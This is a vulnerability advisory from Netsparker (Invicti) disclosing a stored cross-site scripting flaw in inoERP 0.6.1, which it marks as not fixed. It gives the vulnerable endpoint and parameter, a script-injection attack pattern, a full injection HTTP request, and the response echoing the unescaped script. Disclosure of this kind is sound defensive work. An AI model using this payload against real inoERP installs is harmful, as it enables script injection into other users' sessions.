Stored Cross-site Scripting in inoERP 0.6.1

Information

Advisory by Netsparker (now Invicti)
Name: Stored Cross-site Scripting in inoERP 0.6.1
Affected Software: inoERP
Affected Versions: 0.6.1
Homepage: https://github.com/inoerp/inoERP
Vulnerability: Stored Cross-site Scripting
Severity: Critical
Status: Not Fixed
CVE-ID: 2018-14480
CVSS Score (3.0):  AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L (6.5)
Invicti Advisory Reference: NS-18-011

Technical Details

Injection Request:

URL: http://{domain}/{inoerp_path}/?dtype=product&class_name=ec_confirm_order
Parameter Name: product_name[]
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00EF02)</scRipt>
POST /{inoerp_path}/?dtype=product&class_name=ec_confirm_order HTTP/1.1
Host: {domain}
Cookie: INOERP123123={cookie}

ec_cart_id[]=3&user_id[]=Smith&ec_product_id[]=3&currency[]=$ &tax_code[]=NA&sales_price[]=3&product_name[]='"--></style></scRipt><scRipt>alert(0x00EF02)</scRipt>&quantity[]=1&discount_code[]=3&pin_code[]=3&tax_amount[]=3&total_amount[]=3&description[]=208.100.0.117

Identification Request:

POST /{inoerp_path}/?dtype=product&class_name=ec_confirm_order HTTP/1.1
Host: {domain}
Cookie: INOERP123123={cookie}

ec_cart_id[]=&user_id[]=&ec_product_id[]=&currency[]=&tax_code[]=

Identification Response:

HTTP/1.1 200 OK
......
......
<td>'"--></style></scRipt><scRipt>alert(0x00EF02)</scRipt></td>
......
......

For more information on cross-site scripting vulnerabilities read the section Cross-site scripting (XSS).

Advisory Timeline

9th October 2017 – First Contact Attempt
10th October 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.